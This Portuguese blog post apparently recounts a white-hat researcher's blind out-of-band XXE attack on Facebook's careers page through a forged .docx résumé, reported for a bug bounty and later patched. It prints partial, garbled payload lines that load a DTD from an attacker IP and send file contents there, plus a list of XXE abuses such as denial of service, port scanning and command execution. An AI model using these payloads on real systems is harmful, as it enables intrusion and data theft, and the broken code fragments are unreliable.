Segurança Facebook · 4 min read · Nov 23, 2025
Hacking do Facebook injetando carga XML em Documento do Word

Tabela de Conteúdos
- Hacking do Facebook usando um documento do Microsoft Word forjado
- Vulnerabilidades Conhecidas
- Consequências
- Recompensa Recebida
Hacking do Facebook usando um documento do Microsoft Word forjado
Mohamed Ramadan, um pesquisador de segurança white hat, encontrou uma vulnerabilidade crítica no Facebook que permite ao usuário controlar usando um arquivo .docx forjado do Microsoft Word.
Ramadan encontrou com sucesso vulnerabilidades em grandes provedores de serviços como Google, Facebook, Twitter, Microsoft, etc., e foi recompensado com recompensas de bug bounty por eles.
Vulnerabilidades Conhecidas
É um fato conhecido que o Facebook não possui os servidores mais seguros do mundo. Muitas pessoas relataram bugs de alta severidade desde 2010 e a rede social também corrigiu uma perigosa vulnerabilidade XXE que afetava o OpenID no final de 2013. Uma XXE (XML External Entity) é um método que explora um mecanismo fraco de análise XML. Este ataque pode levar à divulgação de dados confidenciais, negação de serviço, varredura de portas a partir da perspectiva da máquina onde o analisador está localizado e outros impactos no sistema. Você pode ler mais sobre essas correções aqui.
O Facebook esclareceu que havia corrigido todos os seus servidores, então encontrar outra vulnerabilidade XXE parecia altamente improvável. No entanto, Ramadan decidiu continuar sua busca. Após algumas investigações, ele acessou a página de carreiras do Facebook https://www.facebook.com/careers/. Ele conseguiu enviar seu CV para o Facebook, mas percebeu que só poderia enviar arquivos nos formatos PDF ou .DOCX. Um arquivo .docx é basicamente um arquivo xml compactado desenvolvido pela Microsoft e Ramadan viu uma brecha no sistema de segurança do Facebook. Ele criou um CV falso com um documento do Microsoft Word forjado e o enviou para a página de carreiras do Facebook.
Ele criou um arquivo XML com o seguinte código escrito nele
DOCTYPE root [ dtd SYSTEM “https://197.37.102.90/ext.dtd”> %dtd; %send; ]]>
Agora ele tinha um CV forjado pronto. Ele iniciou um servidor HTTP rodando em Python em sua máquina local. Ele fez um arquivo chamado ext.dtd esperando no diretório mohaab007 e aqui está o conteúdo de ext.dtd:
https://197.37.102.90/FACEBOOK-HACKED?%25file;’>” > %all;
Após enviar o CV forjado do Word, ele aguardou uma resposta do site do Facebook. Como ele afirma em seu blog,
“Agora tudo está bem e então eu enviei CV.docx para https://www.facebook.com/careers/ e esperei um minuto, mas nada aconteceu. Eu disse a mim mesmo que era um total fracasso e que eu iria verificar meu perfil do Facebook em vez disso e conversar com alguns amigos e jogar um jogo ou algo assim após essa longa FALHA tentativa. Eu perdi cerca de 15 minutos ou mais conversando e navegando, agora é hora de parar o servidor http python e fechar o Facebook e tudo. Eu estava prestes a fechar minha janela de terminal e fiquei chocado ao ver que algo se conectou ao meu servidor http python”
Ele conseguiu enganar um servidor do Facebook para se conectar ao seu servidor. Em suas próprias palavras, ele agora poderia explorar essa conexão para:
DoS o sistema de análise fazendo-o abrir, e.g. file:///dev/random | file:///dev/urandom | file://c:/con/con
Varreduras TCP usando entidades externas HTTP (incluindo por trás de firewalls, já que servidores de aplicativos frequentemente têm uma visão de mundo diferente da do atacante)
Acesso não autorizado a dados armazenados como arquivos XML no sistema de arquivos do sistema de análise (é claro que o atacante ainda precisa de uma maneira de recuperar esses dados)
DoS em outros sistemas (se o sistema de análise puder estabelecer conexões TCP com outros sistemas)
Roubo de material de autenticação NTLM iniciando acesso a arquivos UNC em sistemas sob controle do atacante (improvável?)
Cenário do Dia do Juízo: Um aplicativo amplamente implantado e altamente conectado vulnerável a este ataque pode ser usado para DDoS.
Listagem de Diretórios, Ler arquivos de sistema e aplicação e em alguns casos executar comandos de sistema usando php expect:// wrapper.
Consequências
Ele tentou obter acesso a arquivos de sistema no servidor, mas não conseguiu acesso, provavelmente devido a mecanismos de segurança em vigor. Mas ele estava confiante de que o ataque que conseguiu realizar foi um Blind XXE Out Of Band (OOB) e que era um processo demorado porque precisava enviar e esperar o resultado após 15 minutos ou mais. Sem mais delongas, ele informou a rede social sobre suas descobertas. Suas descobertas foram rejeitadas de imediato na primeira vez, com as seguintes palavras.

Ele respondeu à equipe de segurança do Facebook enviando-lhes o CV forjado, ao qual o FB respondeu com a seguinte resposta:

Ele ainda não estava satisfeito e continuou a se corresponder com a equipe de Segurança do Facebook, que finalmente percebeu a vulnerabilidade em seu mecanismo de upload de arquivos.

Recompensa Recebida
O Facebook reconheceu a vulnerabilidade e, de acordo com sua política, recompensou Ramadan por sua pesquisa. Eles corrigiram a vulnerabilidade adicionando esta linha de código:
“ libxml_disable_entity_loader(true) “
A seguir está um vídeo de PoC que Ramadan enviou ao YouTube para mostrar a vulnerabilidade no Facebook
Recurso: Attack Secure
Receba novas postagens na sua caixa de entrada
Sem spam. Cancele a assinatura a qualquer momento.